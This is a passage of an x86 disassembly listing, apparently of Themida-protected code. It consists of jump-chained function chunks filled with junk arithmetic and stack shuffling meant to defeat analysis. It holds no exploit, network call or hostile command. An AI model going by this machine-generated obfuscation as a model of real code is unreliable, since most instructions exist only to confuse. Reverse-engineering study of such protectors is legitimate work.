CHUNK AT 00590163 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00590327 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005907FE SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00590B14 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00591453 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005914E9 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00591AAC SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00591B02 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00591BA0 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00591CDB SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00591EB5 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00591F65 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00592085 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00592107 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00592127 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00592247 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00592268 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00592572 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00592777 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005927CD SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00592845 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00592BA1 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00592CAD SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0059357F SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0059373E SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00593842 SIZE 00000044 BYTES ; FUNCTION CHUNK AT 00593C42 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00593CE3 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0059405C SIZE 00000034 BYTES ; FUNCTION CHUNK AT 00594490 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005945A6 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 0059493C SIZE 00000035 BYTES ; FUNCTION CHUNK AT 0059508A SIZE 0000002E BYTES ; FUNCTION CHUNK AT 0059519B SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00595411 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059568E SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005957BA SIZE 00000029 BYTES ; FUNCTION CHUNK AT 00595B5C SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00595C9B SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00595CCD SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00595E62 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00595F30 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 005961A0 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 00596425 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 005964E5 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0059657E SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0059671A SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00596A1D SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00596A6C SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00596CAB SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0059703D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00597299 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005975AC SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059780B SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0059788D SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00597974 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005979C9 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00597C92 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00597DB2 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00597FCA SIZE 0000002D BYTES push ebx mov ebx, 66E10D28h shr ebx, 5 and ebx, 0F5A4147h jmp loc_59568E sub_590467 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_59047B: ; CODE XREF: sub_5938B9-851Aj push 3A1Ch mov [esp+0], ebp push ecx mov ecx, 1C53214Ah push esi jmp loc_590688 ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- loc_59048F: ; CODE XREF: Themida_:0058FBD2j mov [esp], edi jmp loc_58B838 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_590497: ; CODE XREF: sub_5916C4-371Dj pop ecx add esp, 4 jmp loc_58C10C ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_5904A3: ; CODE XREF: Themida_:00593618j pop esp jmp loc_59573A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_5904A9: ; CODE XREF: sub_5EC2E8-5711Bj ja loc_58BD46 jmp loc_59230E ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- loc_5904B4: ; CODE XREF: Themida_:00592E62j push 475Ah mov [esp], ebp push esp pop ebp push esi mov esi, 216179A3h jmp loc_59425B ; --------------------------------------------------------------------------- loc_5904C9: ; CODE XREF: Themida_:005911DCj push ecx mov ch, 45h jmp loc_596A13 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_5904D1: ; CODE XREF: sub_58F5B5+895j ; sub_5EC2E8-59957j ... add ebx, 583D7BCEh pop ebp jmp loc_5934D1 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_58B205 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_5904E6: ; CODE XREF: sub_590010+44E0j push esi mov esi, 3025687Ch add [esp+0Ch+var_8], esi pop esi mov ecx, [esp+8+var_8] add esp, 4 sub esp, 4 mov [esp+8+var_8], eax mov eax, 31295A6Fh dec eax push edi push esi mov esi, 103F1F2h jmp loc_58E728 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_590512: ; CODE XREF: sub_59762D-57Cj mov dl, 0F1h add dl, 0D7h shr dl, 6 sub dl, 0BBh jmp loc_58F720 ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592D25 loc_590522: ; CODE XREF: sub_592D25-3721j mov edx, esp jmp loc_58C963 ; END OF FUNCTION CHUNK FOR sub_592D25 ; --------------------------------------------------------------------------- loc_590529: ; CODE XREF: Themida_:00595D65j push dword ptr [esp+4] jmp loc_59551A ; --------------------------------------------------------------------------- loc_590532: ; CODE XREF: Themida_:00590CFCj pop ebx jmp loc_58F180 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_590538: ; CODE XREF: sub_5938B9+19j xchg ebx, [esp+0] pop esp mov [esp+4+var_6+2], ebx push edi jmp loc_596E43 ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_590545: ; CODE XREF: sub_590010+BADj ; sub_5916C4+4A5Bj jge loc_595ACF jmp loc_597E7F ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- sub esi, eax pop eax jmp loc_58CADA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_590558: ; CODE XREF: sub_58C17E+4A59j add cl, dh pop edx jmp loc_59018F ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58DBC4 loc_590560: ; CODE XREF: sub_58DBC4+3C5Aj push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] pop ebp push edi mov edi, 3A3E677Bh sub ebp, edi mov edi, [esp+0] add esp, 4 sub esp, 4 mov [esp+0], ebp jmp loc_58DAC8 ; END OF FUNCTION CHUNK FOR sub_58DBC4 ; --------------------------------------------------------------------------- loc_590592: ; CODE XREF: Themida_:0058E3A1j mov ebx, 74BC1C8Fh sub ebx, 42D25813h and ebx, 42DD1AB1h not ebx xor ebx, 475741EAh xor edi, ebx pop ebx push edx mov edx, 494C2256h inc edx dec edx xor edx, 19817DA2h shl edx, 4 dec edx sub edx, 93A180FBh and edi, edx pop edx and edi, 12DF7E2Bh sub edi, 0FFFFFFFFh shr edi, 1 xor edi, 21404h add ebp, edi pop edi add ebp, 2 jmp loc_58DEA9 ; --------------------------------------------------------------------------- loc_5905E8: ; CODE XREF: Themida_:005920BEj add esp, 4 sub esp, 4 mov [esp], eax jmp loc_58AED3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_5905F9: ; CODE XREF: sub_5938B9-56D4j mov edi, esp jmp loc_592145 ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- loc_590600: ; CODE XREF: Themida_:loc_596579j push edi not dword ptr [esp] jmp loc_591B7B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_590609: ; CODE XREF: sub_595E21-5782j add eax, edx add [eax], ecx pop eax mov edx, [esp-4+arg_0] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+0] pop esp mov ecx, [esp-4+arg_0] jmp loc_58E833 ; END OF FUNCTION CHUNK FOR sub_595E21 ; --------------------------------------------------------------------------- loc_59062C: ; CODE XREF: Themida_:0059516Bj jmp loc_595D97 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_590631: ; CODE XREF: Themida_:0058D989j ; sub_5916C4+2B7Dj push [esp-0Ch+arg_8] pop edx push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_592A28 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_590649: ; CODE XREF: sub_595E21-B7FDj shr eax, 12h jmp loc_592513 ; END OF FUNCTION CHUNK FOR sub_595E21 ; --------------------------------------------------------------------------- pop dword ptr [edx] jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_590658: ; CODE XREF: sub_5916C4-6A3Ej pop ebp sub esi, edx jmp loc_59641C ; --------------------------------------------------------------------------- loc_590660: ; CODE XREF: sub_5916C4+4D2Aj add ecx, esi pop esi sub ecx, 4 jmp loc_5953A1 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EF52 loc_59066E: ; CODE XREF: sub_58EF52+3j ; Themida_:00595BCCj mov [esp+4+var_4], ecx push esi mov esi, 2AB80E6Dh add esi, 0DD42F9C9h jmp loc_58D36C ; END OF FUNCTION CHUNK FOR sub_58EF52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_590682: ; CODE XREF: sub_5EC2E8-5D094j push esi jmp loc_58E6B9 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_590688: ; CODE XREF: sub_5938B9-342Fj push 56925D8Bh pop esi and esi, 66DC29F1h jmp loc_58F2D2 ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_590699: ; CODE XREF: sub_595E21-A622j push eax mov eax, 0 jmp loc_590609 ; --------------------------------------------------------------------------- loc_5906A4: ; CODE XREF: sub_595E21-4ED7j add esp, 4 add ecx, esi pop esi push 156Dh jmp loc_59137A ; END OF FUNCTION CHUNK FOR sub_595E21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590B70 loc_5906B4: ; CODE XREF: sub_590B70+BB8j ; sub_5938B9-18F3j push ecx jmp loc_592270 ; END OF FUNCTION CHUNK FOR sub_590B70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_5906BA: ; CODE XREF: sub_58F5B5+3B98j mov ecx, 4 add edx, 43F67A21h jmp loc_5922F1 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_5906CA: ; CODE XREF: Themida_:005911A5j mov edx, 67123BBh jmp loc_596550 ; --------------------------------------------------------------------------- loc_5906D4: ; CODE XREF: Themida_:0058B627j mov ebp, 621C5AC3h add ebp, 6D87121Fh not ebp jmp loc_58ACD8 ; --------------------------------------------------------------------------- loc_5906E6: ; CODE XREF: Themida_:0059152Ej sub edx, ecx jmp loc_593FE3 ; --------------------------------------------------------------------------- loc_5906ED: ; CODE XREF: Themida_:0058C7D9j mov edi, 0D44487BBh add edi, esi pop esi add ebp, edi pop edi xchg ebp, [esp] pop esp jmp loc_58B804 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595123 loc_590701: ; CODE XREF: sub_595123-6AD6j pop esp jmp loc_58E175 ; END OF FUNCTION CHUNK FOR sub_595123 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_590707: ; CODE XREF: sub_5916C4-3E8j xchg edx, edi push esi mov esi, 0CA579396h sub edi, esi pop esi add ebx, 5F951F8Fh sub ebx, edi push esi mov esi, 5CD9114Eh and esi, 5F656B4h or esi, 1BD3794Dh jmp loc_58BB06 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_590731: ; CODE XREF: Themida_:005907BAj push edi sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 pop edi jmp loc_5944F5 ; --------------------------------------------------------------------------- loc_590746: ; CODE XREF: Themida_:00596DB6j xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] jmp loc_58EBA2 ; --------------------------------------------------------------------------- loc_590757: ; CODE XREF: Themida_:00590AF2j push cx jmp loc_592F38 ; --------------------------------------------------------------------------- loc_59075E: ; CODE XREF: Themida_:0058A914j sub bh, 0FDh add bh, 1 dec bh sub bh, 81h push ax mov al, 34h sub bh, al jmp loc_58FE2C ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_595C0E ; --------------------------------------------------------------------------- loc_59077D: ; CODE XREF: Themida_:00595C5Cj add bl, al add bl, 18h push esi push ebx mov ebx, 59912C70h push esi jmp loc_58A392 ; --------------------------------------------------------------------------- loc_59078F: ; CODE XREF: Themida_:00597246j push esi mov esi, 42161691h and esi, 4C635499h jmp loc_5964CA ; --------------------------------------------------------------------------- loc_5907A0: ; CODE XREF: Themida_:loc_593598j sub ecx, 6051C63Ch mov esi, ecx pop ecx sub [esp+4], esi mov esi, [esp] push esi jmp loc_59698B ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_590731 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_5907BF: ; CODE XREF: sub_58C17E+9249j pop edi sub edi, 1E55119Bh jmp loc_58F59D ; --------------------------------------------------------------------------- loc_5907CB: ; CODE XREF: sub_58C17E+3740j pop esp mov [esp-12h+arg_C+2], ebx pop dword ptr [edi+24h] pop ebx inc ebx push dword ptr [edi+24h] sub esp, 4 mov [esp-12h+arg_C+2], ebx pop dword ptr [edi+24h] pop ebx loc_5907E1: ; CODE XREF: sub_58F5B5+48E8j push ebx push [esp-16h+arg_10+2] push [esp-12h+arg_C+2] pop eax add esp, 4 sub esp, 4 mov [esp-12h+arg_C+2], edi push esp jmp loc_596CC9 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_5907FE: ; CODE XREF: sub_590467+6607j pop dx push 20EBh mov [esp+0], ebx jmp loc_58B0AA ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_59080D: ; CODE XREF: sub_58F5B5-3F1Fj mov [esp+8+var_8], ebx jmp loc_58BB82 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_590815: ; CODE XREF: Themida_:0058C1C4j sub esp, 4 mov [esp], ebp mov ebp, esp push edi mov edi, esp add edi, 4 jmp loc_58BE93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_59082B: ; CODE XREF: sub_5938B9-7BA0j add edi, 7E1D0FDEh jmp loc_58D5B0 ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- sub esp, 4 mov [esp], ebx push esp jmp loc_59725F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_590845: ; CODE XREF: sub_5916C4+4207j add al, bh sub al, 0ADh push ebx jmp loc_58AFDB ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- lodsb xor al, bl jmp loc_58E75A ; --------------------------------------------------------------------------- loc_590857: ; CODE XREF: Themida_:0059357Aj pop ebp pop dword ptr [esp] pop esp or [esp], ax pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_590866: ; CODE XREF: Themida_:0058AA0Bj push esp jmp loc_58C9A6 ; --------------------------------------------------------------------------- loc_59086C: ; CODE XREF: Themida_:00593BC6j add edx, 4 jmp loc_591D77 ; --------------------------------------------------------------------------- loc_590877: ; CODE XREF: Themida_:loc_593B85j shl edi, 5 jz loc_58F8D6 shl edi, 2 xor edi, 69F64C40h sub edi, 0BC552E4Bh add dword ptr [esp+8], 48EC0BCAh jmp loc_5950DA ; =============== S U B R O U T I N E ======================================= sub_59089C proc near ; CODE XREF: sub_590467:loc_597C92j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058A5E4 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058DFB2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058E0F1 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0058EF99 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00591787 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00591877 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0059222F SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0059391B SIZE 0000000A BYTES push ebx mov ebx, 0FFFFFFFFh add esi, ebx jmp loc_59222F sub_59089C endp ; --------------------------------------------------------------------------- loc_5908A9: ; CODE XREF: Themida_:00596A18j pop ecx sub ch, bl pop bx jmp loc_5959D0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592D25 loc_5908B3: ; CODE XREF: sub_592D25-63B4j mov edi, 44BA20E7h jmp loc_595804 ; END OF FUNCTION CHUNK FOR sub_592D25 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_5908BD: ; CODE XREF: sub_59762D:loc_58C654j push edx push ebx mov ebx, 3A351BA8h mov edx, ebx pop ebx jmp loc_5951F4 ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- loc_5908CC: ; CODE XREF: Themida_:0058EC91j xor [esp], ecx xor ecx, [esp] mov esp, [esp] xor [esp], eax jmp loc_58A596 ; --------------------------------------------------------------------------- loc_5908DD: ; CODE XREF: Themida_:00595313j xchg edx, ebp not edx xchg edx, ebp add ebp, 50375B3Dh add ebp, 28A70966h add ebx, ebp mov ebp, [esp] add esp, 4 push esi mov esi, 2 add ebx, esi pop esi xchg ebx, [esp] mov esp, [esp] xor [esp], ax pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_590910: ; CODE XREF: sub_58F5B5+2102j add ebx, 1F9AB9Eh add ecx, ebx pop ebx push 6104h mov [esp+8+var_8], esi push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+0Ch+var_C] jmp loc_596B5D ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_590938: ; CODE XREF: sub_5916C4+4AC6j pop edx jmp loc_5956BA ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_59093E: ; CODE XREF: Themida_:0058BA70j mov ebx, esp sub esp, 4 mov [esp], ebp jmp loc_58D939 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58B4D6 loc_59094E: ; CODE XREF: sub_58B4D6+2C10j add edx, ebp jmp loc_592349 ; END OF FUNCTION CHUNK FOR sub_58B4D6 ; --------------------------------------------------------------------------- loc_590955: ; CODE XREF: Themida_:00594BDAj mov ecx, 2 mov edi, ecx jmp loc_591085 ; --------------------------------------------------------------------------- loc_590961: ; CODE XREF: Themida_:00592080j mov [esp], edx mov edx, esp add edx, 4 add edx, 4 jmp loc_592471 ; --------------------------------------------------------------------------- lodsd cmp dword ptr [edi+20h], 0 jz loc_58ADC4 push 36ABh mov [esp], edi jmp loc_590A25 ; --------------------------------------------------------------------------- loc_59098C: ; CODE XREF: Themida_:0059377Ej mov ecx, [esp] push edx jmp loc_58DC49 ; --------------------------------------------------------------------------- loc_590995: ; CODE XREF: Themida_:005911E4j mov esp, [esp] sub esp, 4 mov [esp], eax jmp loc_596538 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_5909A6: ; CODE XREF: sub_58C17E-905j add ebx, 4 xchg ebx, [esp+0] jmp loc_58FEB6 ; END OF FUNCTION CHUNK FOR sub_58C17E ; =============== S U B R O U T I N E ======================================= sub_5909B4 proc near ; CODE XREF: sub_59762D+17Bj var_8 = dword ptr -8 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 0058D1BA SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0058FC72 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00590FFA SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059107C SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00592A54 SIZE 0000000D BYTES push ebp mov ebp, 776A2D9Fh jmp loc_592A54 sub_5909B4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_5909BF: ; CODE XREF: Themida_:00596A0Ej pop ebp sub esp, 4 mov [esp], edx mov edx, 2 add edi, 77F35DE0h sub edi, 454F2F1Eh add edi, edx push esi mov esi, 63E85489h or esi, 527A75BAh and esi, 582C502Bh jmp loc_58D258 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_5909F0: ; CODE XREF: sub_58C17E+151Bj shl esi, 5 jmp loc_5950EB ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_5909F8: ; CODE XREF: sub_59762D:loc_594476j ; sub_592D25:loc_5946F3j dec ebp js loc_58FCCF jmp loc_58A777 ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- loc_590A04: ; CODE XREF: Themida_:loc_5935A6j sub ah, 13h mov bh, ah pop eax sub dh, 0AFh add dh, bh add dh, 0AFh jmp loc_595322 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_590A17: ; CODE XREF: sub_5916C4+5974j push ecx push dword ptr [esp+4] pop ecx pop [esp+4+var_4] jmp loc_596477 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_590A25: ; CODE XREF: Themida_:00590987j mov edi, 3955015Ch jmp loc_595E7B ; --------------------------------------------------------------------------- loc_590A2F: ; CODE XREF: Themida_:0058DA94j jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_590A34: ; CODE XREF: sub_58F5B5+9E8j pop [esp-4+arg_0] add [esp-8+arg_4], 4 push [esp-8+arg_4] push [esp-4+arg_0] pop esi add esp, 4 push ebx mov ebx, esp jmp loc_594A6C ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- lodsb sub al, 14h add al, bl jmp loc_59660C ; --------------------------------------------------------------------------- loc_590A57: ; CODE XREF: Themida_:005917C0j push ebx sub esp, 4 mov [esp], ebx mov ebx, esp jmp loc_59554F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58B4D6 loc_590A68: ; CODE XREF: sub_58B4D6+10F1j push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+0Ch+var_C] pop esp sub ebx, 8E81220h push eax mov eax, 4A212A35h add ebx, eax mov eax, [esp+0Ch+var_C] add esp, 4 add ebx, eax push edx mov edx, 362417FDh jmp loc_58D2B6 ; END OF FUNCTION CHUNK FOR sub_58B4D6 ; --------------------------------------------------------------------------- loc_590A9C: ; CODE XREF: Themida_:005900EFj add eax, 7B464125h mov esi, [esp] push 193Bh mov [esp], ecx push esp pop ecx add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp sub esp, 4 mov [esp], esi mov esi, 100B5C94h push 1D6Eh jmp loc_58DA02 ; --------------------------------------------------------------------------- loc_590AD9: ; CODE XREF: Themida_:00591B19j mov dx, [esp] add esp, 2 push cx mov cx, 6D07h add [esp+4], cx pop cx add [esp+2], cx jmp loc_590757 ; --------------------------------------------------------------------------- loc_590AF7: ; CODE XREF: Themida_:00591743j push esp push dword ptr [esp] pop eax jmp loc_5963F3 ; --------------------------------------------------------------------------- loc_590B01: ; CODE XREF: Themida_:005915D6j mov esi, 117D5F7Bh sub esi, 1 add esi, 6E01E081h jmp loc_5933DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_590B14: ; CODE XREF: sub_590467+1089j xor ch, 1Dh shr ch, 4 sub ch, 0CBh add ch, 0CBh xor bl, ch jmp loc_5964E5 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- loc_590B27: ; CODE XREF: Themida_:0058FDE5j pop edx add eax, edi sub eax, 65D23382h jmp loc_58BC91 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_590B34: ; CODE XREF: sub_58C17E+E5Aj pop ebx pop [esp+0Ah+var_C+2] pop esp or eax, eax jz loc_5938FF push dword ptr [edi+1Ch] sub [esp+6+var_8+2], 33CD15BDh push [esp+6+var_8+2] mov ecx, [esp+0Ah+var_C+2] add esp, 4 sub esp, 4 mov [esp+0Ah+var_C+2], ebx push esp jmp loc_598018 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_590B60: ; CODE XREF: sub_5916CB+9j mov ebx, esp add ebx, 4 push ebx mov ebx, esp jmp loc_58DEBB ; END OF FUNCTION CHUNK FOR sub_5916CB ; =============== S U B R O U T I N E ======================================= sub_590B70 proc near ; CODE XREF: sub_59524C-8049j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 0058A475 SIZE 00000039 BYTES ; FUNCTION CHUNK AT 0058AF3E SIZE 0000003D BYTES ; FUNCTION CHUNK AT 0058B146 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058B512 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058C50A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0058CD07 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058D946 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005906B4 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00590E7D SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00591722 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00591909 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00591B9A SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00592270 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 0059238D SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059370C SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00594971 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 00595B88 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00595ED8 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005978F6 SIZE 00000019 BYTES sub esp, 4 mov [esp+0], eax push 5B155612h pop eax shr eax, 7 jns loc_591722 push edx mov edx, 7B4459DFh jmp loc_58B845 sub_590B70 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov bl, bh pop ebp ; START OF FUNCTION CHUNK FOR sub_5919E2 loc_590B96: ; CODE XREF: sub_5919E2-64DEj sub edi, 4 jmp loc_58DB6C ; END OF FUNCTION CHUNK FOR sub_5919E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_590B9E: ; CODE XREF: sub_5916C4+279Fj pop edx pop eax jmp loc_5956CF ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_590BA5: ; CODE XREF: sub_590010-11FDj pop ebx pop edi sub esp, 4 mov [esp-18h+arg_14], esi push ecx push 51BC0F68h pop ecx sub ecx, 8985C4Fh jmp loc_590545 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- loc_590BC2: ; CODE XREF: Themida_:0058BE2Dj push edx jmp loc_58C184 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E 